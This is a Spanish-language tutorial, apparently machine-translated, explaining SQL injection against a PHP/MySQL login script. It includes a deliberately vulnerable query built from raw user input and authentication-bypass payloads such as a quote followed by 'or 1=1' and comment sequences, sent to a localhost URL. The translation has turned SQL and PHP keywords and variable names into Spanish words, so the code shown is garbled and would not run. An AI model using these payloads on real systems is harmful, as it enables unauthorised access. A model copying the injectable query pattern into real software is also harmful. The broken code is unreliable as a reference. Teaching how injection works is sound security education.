Primero permítanme darles un ejemplo para comprender las particularidades y el principio de la inyección en PHP. Por supuesto, este ejemplo también puede indicarle cómo aprender a construir declaraciones SQL efectivas.
Tomemos un ejemplo de verificación de usuario. Primero, creemos una base de datos y una tabla de datos e insertemos un registro, de la siguiente manera:
código PHP:
CREAR TABLA `usuario` (
`userid` int(11) NO NULL auto_increment,
`nombre de usuario` varchar(20) NOT NULL predeterminado '',
`contraseña` varchar(20) NOT NULL predeterminado '',
CLAVE PRIMARIA (`ID de usuario`)
) TIPO=MyISAM AUTO_INCREMENT=3;
#
# Exportar los datos en la tabla `usuario`
#
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
El código para verificar el archivo de usuario es el siguiente:
código PHP:
<?php
$nombredelservidor = "localhost";
$dbusername = "raíz";
$dbcontraseña = "";
$dbname = "inyección";
mysql_connect($servername,$dbusername,$dbpassword) o die ("Error en la conexión de la base de datos");
$sql = "SELECCIONAR * DEL usuario DONDE nombre de usuario='$nombre de usuario' Y contraseña='$contraseña'";
$resultado = mysql_db_query($nombrebd, $sql);
$información de usuario = mysql_fetch_array($resultado);
si (vacío($información de usuario)){
echo "Error al iniciar sesión";
} demás {
echo "Inicio de sesión exitoso";
}
echo "<p>Consulta SQL:$sql<p>";
?>
En este momento enviamos:
http://127.0.0.1/injection/user.php?username=angel'or 1=1
y devolverá:
Advertencia: mysql_fetch_array(): el argumento proporcionado no es un recurso de resultado MySQL válido en F: wwwinjectionuser.php en la línea 13
error de inicio de sesion
Consulta SQL: SELECCIONAR * DEL usuario DONDE nombre de usuario = 'ángel' o 1 = 1 'Y contraseña ='
Advertencia de PHP: mysql_fetch_array(): el argumento proporcionado no es un recurso de resultado de MySQL válido en F:wwwinjectionuser.php en la línea 13.
¿Ves? Después de cerrar las comillas simples, las siguientes comillas simples no se comentan, lo que hace que las comillas simples no se emparejen correctamente. Por lo tanto, se puede ver que la declaración que construimos no puede permitir que Mysql se ejecute correctamente y debe reestructurarse:
http://127.0.0.1/injection/user.php?username=angel'or '1=1
En este momento, se muestra "Inicio de sesión exitoso", lo que indica que se realizó correctamente. O enviar:
http://127.0.0.1/injection/user.php?username=angel'/ *
http://127.0.0.1/injection/user.php?username=angel'%23
¡Esto comentará las siguientes declaraciones! Hablemos de las diferencias entre estas dos presentaciones. La primera oración que enviamos usa operaciones lógicas. Se puede decir que se usa mucho en ASP, ¿verdad? La segunda y tercera oración se basan en las características de mysql. MySQL admite dos formatos de comentarios: /* y #, por lo que cuando enviamos, comentamos el siguiente código. Vale la pena señalar que debido a problemas de codificación, enviamos #. la barra de direcciones de IE quedará vacía, por lo que cuando enviemos en la barra de direcciones, debemos enviar% 23 antes de que se convierta en #, y se comenta con éxito. Esto es mucho más simple que las operaciones lógicas. potente y flexible que ASP Mucho más.